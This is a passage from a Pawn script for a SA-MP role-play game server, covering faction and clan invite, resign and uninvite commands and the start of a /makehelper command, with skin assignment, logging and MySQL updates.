									{
									SetPlayerSkin(para1, 255);
									PlayerInfo[para1][fSkin] = 255; SaveKonVal(para1, "fSkin", PINFO[para1][fSkin]);
									}
									else
									{
									SetPlayerSkin(para1, 56);
									PlayerInfo[para1][fSkin] = 56; SaveKonVal(para1, "fSkin", PINFO[para1][fSkin]);
									}
								}
								else if(PlayerInfo[playerid][pLeader] == 11 || (PlayerInfo[playerid][pMember] == 11 && PINFO[playerid][pRank] >= 6))
								{
									PlayerInfo[para1][pTeam] = TEAM_SI;
									SaveKonVal(para1, "pTeam", TEAM_SI);
									ftext = "School Instructor"; //ChosenSkin[para1] = 153;
									if(PINFO[para1][pSex]==1)
									{
									SetPlayerSkin(para1, 153);
									PlayerInfo[para1][fSkin] = 153; SaveKonVal(para1, "fSkin", PINFO[para1][fSkin]);
									}
									else
									{
									SetPlayerSkin(para1, 11);
									PlayerInfo[para1][fSkin] = 11; SaveKonVal(para1, "fSkin", PINFO[para1][fSkin]);
									}
								}
								else if(PlayerInfo[playerid][pLeader] == 12 || (PlayerInfo[playerid][pMember] == 12 && PINFO[playerid][pRank] >= 6))
								{
									PlayerInfo[para1][pTeam] = TEAM_GroveStreet;
									SaveKonVal(para1, "pTeam", TEAM_GroveStreet);
									ftext = "Dangerous Tiger Family"; //ChosenSkin[para1] = 105;
									if(PINFO[para1][pSex]==1)
									{
									SetPlayerSkin(para1, 105);
									PlayerInfo[para1][fSkin] = 105; SaveKonVal(para1, "fSkin", PINFO[para1][fSkin]);
									}
									else
									{
									SetPlayerSkin(para1, 65);
									PlayerInfo[para1][fSkin] = 65; SaveKonVal(para1, "fSkin", PINFO[para1][fSkin]);
									}
								}
								else if(PlayerInfo[playerid][pLeader] == 13 || (PlayerInfo[playerid][pMember] == 13 && PINFO[playerid][pRank] >= 6))
								{
									PlayerInfo[para1][pTeam] = TEAM_Vagos;
									SaveKonVal(para1, "pTeam", TEAM_Vagos);
									ftext = "Legendary Men Family"; //ChosenSkin[para1] = 122;
									if(PINFO[para1][pSex]==1)
									{
									SetPlayerSkin(para1, 122);
									PlayerInfo[para1][fSkin] = 122; SaveKonVal(para1, "fSkin", PINFO[para1][fSkin]);
									}
									else
									{
									SetPlayerSkin(para1, 214);
									PlayerInfo[para1][fSkin] = 214; SaveKonVal(para1, "fSkin", PINFO[para1][fSkin]);
									}
								}
								else if(PlayerInfo[playerid][pLeader] == 14 || (PlayerInfo[playerid][pMember] == 14 && PINFO[playerid][pRank] >= 6))
								{
									PlayerInfo[para1][pTeam] = TEAM_TBF;
									SaveKonVal(para1, "pTeam", TEAM_TBF);
									ftext = "Fast N Furious Family"; //ChosenSkin[para1] = 104;
									if(PINFO[para1][pSex]==1)
									{
									SetPlayerSkin(para1, 102);
									PlayerInfo[para1][fSkin] = 102; SaveKonVal(para1, "fSkin", PINFO[para1][fSkin]);
									}
									else
									{
									SetPlayerSkin(para1, 13);
									PlayerInfo[para1][fSkin] = 13; SaveKonVal(para1, "fSkin", PINFO[para1][fSkin]);
									}
								}
								else if(PlayerInfo[playerid][pLeader] == 15 || (PlayerInfo[playerid][pMember] == 15 && PINFO[playerid][pRank] >= 6))
								{
									PlayerInfo[para1][pTeam] = TEAM_VLA;
									SaveKonVal(para1, "pTeam", TEAM_VLA);
									ftext = "Storm Men Family"; //ChosenSkin[para1] = 173;
									if(PINFO[para1][pSex]==1)
									{
									SetPlayerSkin(para1, 173);
									PlayerInfo[para1][fSkin] = 173; SaveKonVal(para1, "fSkin", PINFO[para1][fSkin]);
									}
									else
									{
									SetPlayerSkin(para1, 214);
									PlayerInfo[para1][fSkin] = 214; SaveKonVal(para1, "fSkin", PINFO[para1][fSkin]);
									}
								}
								else if(PlayerInfo[playerid][pLeader] == 16 || (PlayerInfo[playerid][pMember] == 16 && PINFO[playerid][pRank] >= 6))
								{
									PlayerInfo[para1][pTeam] = TEAM_TOW;
									SaveKonVal(para1, "pTeam", TEAM_TOW);
									ftext = "Tow Truck Company"; //ChosenSkin[para1] = 50;
									if(PINFO[para1][pSex]==1)
									{
								   SetPlayerSkin(para1, 8);
								   PlayerInfo[para1][fSkin] = 8; SaveKonVal(para1, "fSkin", PINFO[para1][fSkin]);
								   }
								   else
								   {
								   SetPlayerSkin(para1, 225);
								   PlayerInfo[para1][fSkin] = 225; SaveKonVal(para1, "fSkin", PINFO[para1][fSkin]);
								   }
								}
							 else if(PlayerInfo[playerid][pLeader] == 17 || (PlayerInfo[playerid][pMember] == 17 && PINFO[playerid][pRank] >= 6))
								{
									PlayerInfo[para1][pTeam] = TEAM_HACKER;
									SaveKonVal(para1, "pTeam", TEAM_HACKER);
									ftext = "Unknowns"; //ChosenSkin[para1] = 120;
									if(PINFO[para1][pSex]==1)
									{
									SetPlayerSkin(para1, 120);
									PlayerInfo[para1][fSkin] = 120; SaveKonVal(para1, "fSkin", PINFO[para1][fSkin]);
									}
									else
									{
									SetPlayerSkin(para1, 233);
									PlayerInfo[para1][fSkin] = 233; SaveKonVal(para1, "fSkin", PINFO[para1][fSkin]);
									}
								}
							 else if(PlayerInfo[playerid][pLeader] == 19 || (PlayerInfo[playerid][pMember] == 19 && PINFO[playerid][pRank] >= 6))
								{
									PlayerInfo[para1][pTeam] = TEAM_TopBoys;
									SaveKonVal(para1, "pTeam", TEAM_TopBoys);
									ftext = "Top Boys";
								}
								else if(PlayerInfo[playerid][pLeader] == 20 || (PlayerInfo[playerid][pMember] == 20 && PINFO[playerid][pRank] >= 6))
								{
									PlayerInfo[para1][pTeam] = TEAM_COP;
									SaveKonVal(para1, "pTeam", TEAM_COP);
									ftext = "SFPD";
									//ChosenSkin[para1] = 163;
									SetPlayerSkin(para1, 163);
									PlayerInfo[para1][fSkin] = 163; SaveKonVal(para1, "fSkin", PINFO[para1][fSkin]);
								}
								else { return 1; }
								GetPlayerName(para1, giveplayer, sizeof(giveplayer));
								GetPlayerName(playerid, sendername, sizeof(sendername));
								if(PlayerInfo[playerid][pMember] >= 1 && PINFO[playerid][pRank] >= 6)
								{
									PlayerInfo[para1][pMember] = PlayerInfo[playerid][pMember];
									SaveKonVal(para1, "pMember", PlayerInfo[playerid][pMember]);
								}
								else if(PlayerInfo[playerid][pLeader] >= 1)
								{
									PlayerInfo[para1][pMember] = PlayerInfo[playerid][pLeader];
									SaveKonVal(para1, "pMember", PlayerInfo[playerid][pLeader]);
								}
								ResetActivities(para1);
								PlayerInfo[para1][pRank] = 1;
								SaveKonVal(para1, "pRank", 1);
								PlayerInfo[para1][pFwarn] =0;
								SaveKonVal(para1, "pFwarn", 0);
								if(ImMining[para1]!=0)ImMining[para1]=0;
								//FactionLog(string);
								//printf("News: %s has invited %s to join %s.", sendername, giveplayer, ftext);
								format(string, sizeof(string), "* You have joined the %s, you were invited by leader %s", ftext, sendername);
								SendMessage(para1, COLOR_LIGHTBLUE, string);
								new hellozz[144];
								format(hellozz, sizeof(hellozz), "* You have invited %s to your faction", RPName(para1));
								SendMessage(playerid, COLOR_LIGHTBLUE, hellozz);
								new ahmadzoghi[144];
                                format(ahmadzoghi, sizeof(ahmadzoghi), "{ffffff}Leader %s has invited %s to %s",RPName(playerid), RPName(para1), GetFacName(factionid+1));
                                AdminWarn(ahmadzoghi);
                                /*
								SetPlayerInterior(para1,0);
								if(PlayerInfo[para1][pLeader] != 17 || PlayerInfo[para1][pMember] != 17)
								{
								new rand = random(sizeof(gInviteSpawns));
								SetPlayerPos(para1, gInviteSpawns[rand][0], gInviteSpawns[rand][1], gInviteSpawns[rand][2]); // Warp the player
								Mahal[para1] = 9999;
							     TooHouse[para1] = 9999;
								TooBiz[para1] = 9999;
								SetPlayerFacingAngle(para1, gInviteSpawns[rand][3]);
								SetPlayerCameraPos(para1,gInviteSpawns[rand][0] + 3, gInviteSpawns[rand][1], gInviteSpawns[rand][2]);
								SetPlayerCameraLookAt(para1,gInviteSpawns[rand][0], gInviteSpawns[rand][1], gInviteSpawns[rand][2]);
								TogglePlayerControllable(para1, 0);
								SelectCharID[para1] = PlayerInfo[para1][pMember];
								SelectCharPlace[para1] = 1;
								}
								*/
								new Member[64];
								if(PlayerInfo[playerid][pLeader] == 0) {
								format(Member, sizeof(Member), "%d",PlayerInfo[playerid][pMember]);
								}
								else {
								format(Member, sizeof(Member), "%d",PlayerInfo[playerid][pLeader]);
								}
								new reas[70];
								format(reas, sizeof(reas), "%s",PINFO[playerid][pName]);

								AddLog(PINFO[para1][pName], Member, "Joined the faction", reas, 1);

								new strinxg[256];
								new dd,mm,yyyy;
								new ore,mn,sec;
								getdate(dd,mm,yyyy);
								gettime(ore,mn,sec);
								format(strinxg,sizeof(strinxg), "%s%d/%s%d/%s%d  %s%d:%s%d", (dd < 10) ? ("0") : (""),dd, (mm < 10) ? ("0") : (""),mm, (yyyy < 10) ? ("0") : (""),yyyy, (ore < 10) ? ("0") : (""),ore,(mn < 10) ? ("0") : (""),mn);
								new query[512];
								mysql_format(handle, query, 512, "UPDATE `users` SET pDFaction='%e' WHERE pName='%e'",strinxg,PINFO[para1][pName]);
								mysql_tquery(handle, query, "SendQuery", "");
                                SetPlayerToTeamColor(para1);
								//PlayerInfo[para1][fSkin] = ChosenSkin[para1];
								//SaveKonVal(para1, "fSkin", ChosenSkin[para1]);
								/*
								if(PlayerInfo[para1][pLeader] != 17 || PlayerInfo[para1][pMember] != 17)
								{
								ShowPlayerDialog(para1, 427, DIALOG_STYLE_MSGBOX,"Chlothes:", "Press 'Next' to select the clothes.\nPress 'Done' once you have chosen the clothes.","Next", "Done");
								}
								*/
								ResetPlayerKolang(para1);
		                        //SetSpawnKol(para1);
		                        //SpawnPlayer(para1);
							}
							else
							{
								SendMessage(playerid, COLOR_GREY, "That player is in a family/faction.");
								return 1;
							}
						}
					}
				}
				else
				{
					SendMessage(playerid, COLOR_YELLOW, "Error: Only leaders can use this command.");
				}
			}
			return 1;
		}


		// CInvite

		if(strcmp(cmd, "/cinvite", true) == 0 || strcmp(cmd, "/claninvite", true) == 0)
		{

			 if (PlayerInfo[playerid][pClan] >= 1 && PlayerInfo[playerid][pcRank] >= 5)
				{
				tmp = strtok(cmdtext, idx);
				if(!strlen(tmp))
				{
					SendMessage(playerid, COL_SYN, "Syntax: /Claninvite <Playerid/PartOfName>");
					return 1;
				}
				if(LockAcc[playerid] == 1 && PlayerInfo[playerid][pPinned] != 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your account is lock. Type /unlockacc to unlock it and use this command.");
				new para1;
				para1 = ReturnUser6(tmp);
			new c = PlayerInfo[playerid][pClan];
//			new clan = DynamicClans[c-1][cSQLid];

				if(para1 == playerid)
				{
				SCM(playerid,COLOR_SINA3,"You cannot invite your self.");
				return 1;
				}

			if(DynamicClans[c-1][cSlots] <= DynamicClans[c-1][cSlot])
				{
				SCM(playerid,COLOR_SINA3,"Clan Slot Is Full.");
				return 1;
				}
					if(IsPlayerConnected(para1))
					{
						if(para1 != INVALID_PLAYER_ID)
						{
							if (PlayerInfo[para1][pClan] == 0)
					{
								/*
								if  (GetPlayerWantedLevel(para1) >= 1)
								{
								SCM(playerid,COLOR_LIGHTRED,"That player has Wanted level.");
								return 1;
								}
								*/
								GetPlayerName(para1, giveplayer, sizeof(giveplayer));
								GetPlayerName(playerid, sendername, sizeof(sendername));

									PlayerInfo[para1][pClan] = PlayerInfo[playerid][pClan];
									SaveKonVal(para1, "pClan", PlayerInfo[playerid][pClan]);


								new stringxu[255];
								new dd,mm,yyyy;
								new ore,mn,sec;
								getdate(dd,mm,yyyy);
								gettime(ore,mn,sec);
								format(stringx,sizeof(stringxu), "%s%d/%s%d/%s%d  %s%d:%s%d", (dd < 10) ? ("0") : (""),dd, (mm < 10) ? ("0") : (""),mm, (yyyy < 10) ? ("0") : (""),yyyy, (ore < 10) ? ("0") : (""),ore,(mn < 10) ? ("0") : (""),mn);

								strmid(PlayerInfo[playerid][pDClan],stringxu,0,sizeof(stringxu),256);
								SaveKonStr(playerid, "pDClan", stringxu);

								PlayerInfo[para1][pcRank] = 1;
								SaveKonVal(para1, "pcRank", 1);
								//FactionLog(string);
								//printf("News: %s has invited %s to join %s.", sendername, giveplayer, ftext);
								format(string, sizeof(string), "* You have Joined the %s(%s) Clan, you were invited by Leader %s",DynamicClans[c-1][cName],DynamicClans[c-1][cTag],sendername);
								SendMessage(para1, COLOR_GREEN, string);

								format(string, sizeof(string), "* Leader %s have Invited %s to join the %s(%s) Clan.",sendername,giveplayer,DynamicClans[c-1][cName],DynamicClans[c-1][cTag]);
								SendClanMessage(c, COLOR_GREEN, string);
					GivePlayerTag(para1, DynamicClans[c-1][cTag]);

					new id;
					id = DynamicClans[c-1][cSQLid];
	//				new sl;
			//		sl = DynamicClans[c-1][cSlot];
					DynamicClans[id][cSlot] += 1;
					SaveKonValC(id, "cSlot", DynamicClans[id][cSlot]);
					new Member[64];
					format(Member, sizeof(Member), "%d",PlayerInfo[playerid][pClan]);

					new reas[70];
					format(reas, sizeof(reas), "%s",PINFO[playerid][pName]);

					AddLog(PINFO[para1][pName], Member, "Joined the clan", reas, 6);

							}
							else
							{
								SendMessage(playerid, COLOR_GREY, "That player is in a Clan.");
								return 1;
							}
						}

				}

				else
				{
					SendMessage(playerid, COLOR_YELLOW, "Error: Only leaders can use this command.");
				}
			}
			return 1;
		}
	//----------------------------------[UNINVITE]------------------------------------------------
	if(strcmp(cmd, "/cresign", true) == 0 || strcmp(cmd, "/clanresign", true) == 0)
		{
		if(PlayerInfo[playerid][pClan] == 0) return SCM(playerid, COLOR_YELLOW2, "Error: you are not member of an official clan.");
		new c;
		c = PlayerInfo[playerid][pClan]
		GetPlayerTag(playerid);
		new id;
		id = DynamicClans[c-1][cSQLid];
		DynamicClans[id][cSlot] -= 1;
		SaveKonValC(id, "cSlot", DynamicClans[id][cSlot]);
		new Member[64];
		format(Member, sizeof(Member), "%d",PlayerInfo[playerid][pClan]);

		AddLog(PINFO[playerid][pName], Member, "Left the clan", PINFO[playerid][pName], 7);

		for(new i = 0;i<Akharish;i++) {
		if(PlayerInfo[i][pClan] == PlayerInfo[playerid][pClan]) {
		new s[512];
		GetPlayerName(playerid, sendername, sizeof(sendername));
		format(s, sizeof(s),"%s resigned from the clan", sendername)
		SCM(i, 0x33AA33AA, s);
		}
		}
		PINFO[playerid][pClan] = 0;
		SaveKonVal(playerid, "pClan", 0);
		PINFO[playerid][pcRank] = 0;
		SaveKonVal(playerid, "pcRank", 0);
		new query[512];
		mysql_format(handle, query, 512, "UPDATE `users` SET pDClan='0' WHERE pName='%e'",PINFO[playerid][pName]);
		mysql_tquery(handle, query, "SendQuery", "");
		return 1;
		}
	if(strcmp(cmd, "/cuninvite", true) == 0 || strcmp(cmd, "/clanuninvite", true) == 0)
		{
			if(IsPlayerConnected(playerid))
			{

			if (PlayerInfo[playerid][pcRank] < 5)
			{
			SCM(playerid,COLOR_YELLOW,"Only Clan leaders can use this command.");
			return 1;
			}
				if(LockAcc[playerid] == 1 && PlayerInfo[playerid][pPinned] != 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your account is lock. Type /unlockacc to unlock it and use this command.");
				new para1;
				tmp = strtok(cmdtext, idx);
					if(!strlen(tmp))
					{
						SendMessage(playerid, COL_SYN, "Syntax: /Clanuninvite <Playerid/PartOfName>");
						return 1;
					}
					para1 = ReturnUser6(tmp);
				if(para1 == playerid)
				{
				SCM(playerid,COLOR_SINA3,"You cannot uninvite your self.");
				return 1;
				}
						if(IsPlayerConnected(para1))
						{
								if (PlayerInfo[para1][pClan] > 0 && PlayerInfo[para1][pClan] == PlayerInfo[playerid][pClan])
								{
									GetPlayerName(para1, giveplayer, sizeof(giveplayer));
									GetPlayerName(playerid, sendername, sizeof(sendername));
									format(string, 256,"AdmCmd: %s has uninvited %s.", sendername, giveplayer);
									//printf(string);
									format(string, sizeof(string), "You have been kicked from your Clan, by Leader %s", sendername);
									SendMessage(para1, COLOR_LIGHTRED, string);
									SendMessage(para1, COLOR_LIGHTBLUE, "You haven't a Clan Now.");

					new c = PlayerInfo[playerid][pClan];
//					new clan = DynamicClans[c-1][cSQLid];
					new id;
					id = DynamicClans[c-1][cSQLid];
//					new sl;
//					sl = DynamicClans[c-1][cSlot];
					DynamicClans[id][cSlot] -= 1;
					SaveKonValC(id, "cSlot", DynamicClans[id][cSlot]);

									//gTeam[para1] = TEAM_CIV;
									PlayerInfo[para1][pClan] = 0;
									SaveKonVal(para1, "pClan", 0);
									PlayerInfo[para1][pcRank] = 0;
									SaveKonVal(para1, "pcRank", 0);
									new query[512];
									mysql_format(handle, query, 512, "UPDATE `users` SET pDClan='0' WHERE pName='%e'",PINFO[para1][pName]);
									mysql_tquery(handle, query, "SendQuery", "");
									GetPlayerTag(para1);
									MedicBill[para1] = 0;
									ResetPlayerKolang(para1);
									format(string, sizeof(string), "You have kicked %s from %s Clan.", giveplayer, (PINFO[para1][pSex]==1)?("his"):("her"));
									SendMessage(playerid, COLOR_LIGHTRED, string);
									new Member[64];
									format(Member, sizeof(Member), "%d",PlayerInfo[playerid][pClan]);

									new reas[70];
									format(reas, sizeof(reas), "%s",PINFO[playerid][pName]);

									AddLog(PINFO[para1][pName], Member, "Left the clan", reas, 7);
								}
								else
								{
									format(string, sizeof(string), "That Player isn't in your Clan.");
									SendMessage(playerid, COLOR_YELLOW, string);
								}
						}
			}
			return 1;
		}


		//


	 if(strcmp(cmd, "/uninvite", true) == 0)
		{
			if(IsPlayerConnected(playerid))
			{
			if (PlayerInfo[playerid][pLeader] == 0 && PINFO[playerid][pRank] <= 6)
			{
			SCM(playerid,COLOR_YELLOW,"Error: Only leaders can use this command.");
			return 1;
			}
			if(PINFO[playerid][pLeader] == 7) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command.");
				tmp = strtok(cmdtext, idx);
				if(!strlen(tmp))
				{
					SendMessage(playerid, COL_SYN, "Syntax: /uninvite <FactionPunish> <Playerid/PartOfName>");
					return 1;
				}
				if(LockAcc[playerid] == 1 && PlayerInfo[playerid][pPinned] != 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your account is lock. Type /unlockacc to unlock it and use this command.");
				new fp = strval(tmp);
				new para1;
				tmp = strtok(cmdtext, idx);
					if(!strlen(tmp))
					{
						SendMessage(playerid, COL_SYN, "Syntax: /uninvite <FactionPunish> <Playerid/PartOfName>");
						return 1;
					}
					para1 = ReturnUser6(tmp);
					if (PlayerInfo[playerid][pLeader] >= 1)
				   {
					if(PlayerInfo[playerid][pAdmin]==7||PlayerInfo[playerid][pAdmin]==8||PlayerInfo[playerid][pAdmin]==9)
					{
					SendClientMessage(playerid, COLOR_YELLOW2, "Error:{FF0000} You can't uninvite any players because you are hoster.");
					return 1;
			}
	   }
				if(para1 == playerid)
				{
				SCM(playerid,COLOR_SINA3,"You cannot uninvite your self.");
				return 1;
				}
				if(LockAcc[playerid] == 1 && PlayerInfo[playerid][pPinned] != 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your account is lock. Type /unlockacc to unlock it and use this command.");
						if(IsPlayerConnected(para1))
						{
								//if(PINFO[playerid][pLeader] == 21) {
								//if(PINFO[para1][pSoldier] != 0) {
								//PINFO[para1][pCard] = 0;
								//SaveKonVal(para1, "pCard", 0);
								//PINFO[para1][pSoldier] = 0;
								//SaveKonVal(para1, "pSoldier", 0);
								//PlayerInfo[para1][cSkin] = 250;
								//SaveKonVal(para1, "cSkin", 250);
								//SetPlayerSkin(para1, PINFO[para1][cSkin]);
//								new string[512];
								//format(string, sizeof(string), "[BASE]: Soldier %s has been uninvited.", PINFO[para1][pName]);
								//SendSolMessage(COLOR_SSH, string);
								//MedicBill[para1] = 0;
								//ResetPlayerKolang(para1);
								//SetSpawnKol(para1);
								//SpawnPlayer(para1);
								//return 1;
								///}
								//else {
								//SCM(playerid, COLOR_SINA3, "That player is not a soldier.")
								//return 1;
								//}
								//}
								if ((PlayerInfo[para1][pMember] > 0 && PlayerInfo[para1][pMember] == PlayerInfo[playerid][pLeader]) || (PINFO[para1][pMember] > 0 && PINFO[playerid][pMember] >= 1 && PINFO[playerid][pRank] >= 6 && PINFO[para1][pMember] == PlayerInfo[playerid][pMember]))
								{
								if(fp >= 81 || fp < 0)
								{
								SCM(playerid,COLOR_MAMAD,"Error: Use a FactionPunish number between 0 and 80");
								return 1;
								}
									new Member[64];
									if(PlayerInfo[playerid][pLeader] == 0) {
									format(Member, sizeof(Member), "%d",PlayerInfo[playerid][pMember]);
									}
									else {
									format(Member, sizeof(Member), "%d",PlayerInfo[playerid][pLeader]);
									}

									new reas[70];
									format(reas, sizeof(reas), "%s",PINFO[playerid][pName]);
									new rease[256];
									format(rease, sizeof(rease), "Left the faction [FP%d] [R%d]",fp,PINFO[para1][pRank]);
									AddLog(PINFO[para1][pName], Member, rease, reas, 2);

									GetPlayerName(para1, giveplayer, sizeof(giveplayer));
									GetPlayerName(playerid, sendername, sizeof(sendername));
									format(string, 256,"AdmCmd: %s has uninvited %s for %d fpunish.", sendername, giveplayer,fp);
									//printf(string);
									//FactionLog(string);
									format(string, sizeof(string), "You have been kicked from your Family / Faction, by Leader %s for %d fpunish.", sendername,fp);
									SendMessage(para1, COLOR_LIGHTRED, string);
									SendMessage(para1, COLOR_LIGHTBLUE, "You are now a Civilian again.");
									//gTeam[para1] = TEAM_CIV;
									ResetActivities(para1);
									if(PINFO[para1][pMember]==2){if(BGMode[para1]!=0){SetPlayerSkin(playerid, olDSkin[playerid]);BGMode[para1]=0;ImBG[para1]=INVALID_PLAYER_ID;myBG[ImBG[para1]]=INVALID_PLAYER_ID;}}
									PlayerInfo[para1][pTeam] = TEAM_CIV;
									SaveKonVal(para1, "pTeam", TEAM_CIV);
									PlayerInfo[para1][pMember] = 0;
									SaveKonVal(para1, "pMember", 0);
									new query[512];
									mysql_format(handle, query, 512, "UPDATE `users` SET pDFaction='0' WHERE pName='%e'",PINFO[para1][pName]);
									mysql_tquery(handle, query, "SendQuery", "");
									//PlayerInfo[para1][pSoldier] = 0;
									PlayerInfo[para1][pFwarn] = 0;
									SaveKonVal(para1, "pFwarn", 0);
									PlayerInfo[para1][fSkin] = 170;
									SaveKonVal(para1, "fSkin", 170);
									if(PINFO[para1][pRank] != 0) {
									PlayerInfo[para1][pPunish] = fp;
									SaveKonVal(para1, "pPunish", fp);
									}
									PhoneOnline[para1] = 1;
									HidePM[para1] = 0;
									//FTest[para1] = 0;
									//SaveKonVal(para1, "pSoldier", 0);
									PlayerInfo[para1][pRank] = 0;
									SaveKonVal(para1, "pRank", 0);
									MedicBill[para1] = 0;
									hitmanord[para1] = 0;
									ResetPlayerKolang(para1);
									SetSpawnKol(para1);
									SpawnPlayer(para1);
									OnDuty[para1]=0;
									if(ShouldKill[para1]!=0){ShouldKill[para1]=0;}
									if(OnWar[para1]!=9999){OnWar[para1]=9999;}
									format(string, sizeof(string), "You have kicked %s from %s Family/Faction.", giveplayer, (PINFO[para1][pSex]==1)?("his"):("her"));
									SendMessage(playerid, COLOR_LIGHTRED, string);


								}
								else
								{
									format(string, sizeof(string), "That player isn't in your faction.");
									SendMessage(playerid, COLOR_YELLOW, string);
								}
						}
			}
			return 1;
		}
		
		
		
		
		
		

			 if(strcmp(cmd, "/auninvite", true) == 0)
		{
			if(IsPlayerConnected(playerid))
			{
			if(PlayerInfo[playerid][pAdmin] < 6 && PlayerInfo[playerid][pMlp] == 0)
			{
			SCM(playerid,COLOR_YELLOW2,"Error: Your admin level isn't high enough to use this command.");
			return 1;
			}
				tmp = strtok(cmdtext, idx);
				if(!strlen(tmp))
				{
					SendMessage(playerid, COL_SYN, "Syntax: /auninvite <FactionPunish> <Playerid/PartOfName>");
					return 1;
				}
				if(LockAcc[playerid] == 1 && PlayerInfo[playerid][pPinned] != 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your account is lock. Type /unlockacc to unlock it and use this command.");
				new fp = strval(tmp);
				new para1;
				tmp = strtok(cmdtext, idx);
					if(!strlen(tmp))
					{
						SendMessage(playerid, COL_SYN, "Syntax: /auninvite <FactionPunish> <Playerid/PartOfName>");
						return 1;
					}
					para1 = ReturnUser6(tmp);
						if(IsPlayerConnected(para1))
						{
							 if(PlayerInfo[playerid][pAdmin] == 7) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command.");
							 if(PlayerInfo[playerid][pAdmin] == 8) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command.");
							 if(PlayerInfo[playerid][pAdmin] == 9) return SCM(playerid, COLOR_YELLOW2, "Error: You can't use this command.");
								if(PINFO[para1][pMember] == 0 && PINFO[para1][pLeader] == 0 && PINFO[para1][pRank] == 0) return SCM(playerid, COLOR_YELLOW2, "Error: That player isn't in any faction.");
								if(PINFO[para1][pLeader] != 0 && PINFO[para1][pRank] != 0) return SCM(playerid, COLOR_YELLOW2, "Error: That player is leader.");
								/*if(PINFO[playerid][pLeader] == 21) {
								if(PINFO[para1][pSoldier] != 0) {
								PINFO[para1][pCard] = 0;
								SaveKonVal(para1, "pCard", 0);
								PINFO[para1][pSoldier] = 0;
								SaveKonVal(para1, "pSoldier", 0);
								PlayerInfo[para1][cSkin] = 250;
								SaveKonVal(para1, "cSkin", 250);
								SetPlayerSkin(para1, PINFO[para1][cSkin]);
//								new string[512];
								format(string, sizeof(string), "[BASE]: Soldier %s has been uninvited.", PINFO[para1][pName]);
								SendSolMessage(COLOR_SSH, string);
								MedicBill[para1] = 0;
								ResetPlayerKolang(para1);
								SetSpawnKol(para1);
								SpawnPlayer(para1);
								return 1;
								}
								else {
								SCM(playerid, COLOR_SINA3, "That player is not a soldier.")
								return 1;
								}
								}
								*/
								if(fp >= 1001 || fp < 0)
								{
								SCM(playerid,COLOR_MAMAD,"Error: Use a FactionPunish number between 0 and 1000");
								return 1;
								}
									new Member[64];
									if(PlayerInfo[playerid][pLeader] == 0) {
									format(Member, sizeof(Member), "%d",PlayerInfo[playerid][pMember]);
									}
									else {
									format(Member, sizeof(Member), "%d",PlayerInfo[playerid][pLeader]);
									}

									new reas[70];
									format(reas, sizeof(reas), "%s",PINFO[playerid][pName]);
									new rease[256];
									format(rease, sizeof(rease), "Left the faction [FP%d] [R%d]",fp,PINFO[para1][pRank]);
									AddLog(PINFO[para1][pName], Member, rease, reas, 2);

									GetPlayerName(para1, giveplayer, sizeof(giveplayer));
									GetPlayerName(playerid, sendername, sizeof(sendername));
									format(string, 256,"AdmCmd: %s has uninvited %s for %d fpunish.", sendername, giveplayer,fp);
									//printf(string);
									//FactionLog(string);
							 //new stsv[256];
							 //format(stsv,256,"{FFFFFF}Admin %s has been uninvited %s for %d faction punish.", PINFO[playerid][pName], PINFO[para1][pName], fp);
							 //AdminWarn(stsv);
									format(string, sizeof(string), "You have been kicked from your Family/Faction, by Admin %s for %d fpunish.", sendername,fp);
									SendMessage(para1, COLOR_LIGHTRED, string);
									SendMessage(para1, COLOR_LIGHTBLUE, "You are now a Civilian again.");
									//gTeam[para1] = TEAM_CIV;
									ResetActivities(para1);
									if(PINFO[para1][pMember]==2){if(BGMode[para1]!=0){SetPlayerSkin(playerid, olDSkin[playerid]);BGMode[para1]=0;ImBG[para1]=INVALID_PLAYER_ID;myBG[ImBG[para1]]=INVALID_PLAYER_ID;}}
									PlayerInfo[para1][pTeam] = TEAM_CIV;
									SaveKonVal(para1, "pTeam", TEAM_CIV);
									PlayerInfo[para1][pMember] = 0;
									SaveKonVal(para1, "pMember", 0);
									new query[512];
									mysql_format(handle, query, 512, "UPDATE `users` SET pDFaction='0' WHERE pName='%e'",PINFO[para1][pName]);
									mysql_tquery(handle, query, "SendQuery", "");
									//PlayerInfo[para1][pSoldier] = 0;
									PlayerInfo[para1][pFwarn] = 0;
									SaveKonVal(para1, "pFwarn", 0);
									ResetActivities(para1);
									PlayerInfo[para1][fSkin] = 170;
									SaveKonVal(para1, "fSkin", 170);
									if(PINFO[para1][pRank] != 0) {
									PlayerInfo[para1][pPunish] = fp;
									SaveKonVal(para1, "pPunish", fp);
									}
									PhoneOnline[para1] = 1;
									HidePM[para1] = 0;
									//FTest[para1] = 0;
									//SaveKonVal(para1, "pSoldier", 0);
									PlayerInfo[para1][pRank] = 0;
									SaveKonVal(para1, "pRank", 0);
									MedicBill[para1] = 0;
									ResetPlayerKolang(para1);
									SetSpawnKol(para1);
									SpawnPlayer(para1);
									OnDuty[para1]=0;
									if(ShouldKill[para1]!=0){ShouldKill[para1]=0;}
									if(OnWar[para1]!=9999){OnWar[para1]=9999;}
									format(string, sizeof(string), "You have kicked %s from %s Family/Faction.", giveplayer, (PINFO[para1][pSex]==1)?("his"):("her"));
									SendMessage(playerid, COLOR_LIGHTRED, string);
									new sttrr[144];
								 format(sttrr,144,"{FFFFFF}Admin %s has been uninvited %s from %s faction by %d faction punish(es).", PINFO[playerid][pName], PINFO[para1][pName], (PINFO[para1][pSex]==1)?("his"):("her"), fp);
								 AdminWarn(sttrr);


						}
			}
			return 1;
		}
		

		
		
		
		
		
	//----------------------------------[MAKEADMIN]------------------------------------------------
		if(!strcmp(cmd,"/makehelper",true))
		{
			if(PINFO[playerid][pAdmin] < 6 && PINFO[playerid][pHlp] == 0) return SCM(playerid,COLOR_GREEN,"Error: You are not authorized to use that command.");
			if(LockAcc[playerid] == 1 && PlayerInfo[playerid][pPinned] != 0) return SCM(playerid, COLOR_YELLOW2, "Error: Your account is lock. Type /unlockacc to unlock it and use this command.");
			tmp = strtok(cmdtext,idx);
			if(!strlen(tmp)) return SCM(playerid,COL_SYN,"Syntax: /makehelper <Playerid/PartOfName> <HelperLevel>");
			new helpersz = 0;
			new user = ReturnUser6(tmp);
			if(!IsPlayerConnected(user))return Error(playerid, "Error: That player isn't online.")
			new BegirInfo[50];
			new BegirInfo1;
			BegirInfo1 = PINFO[user][pHelper];
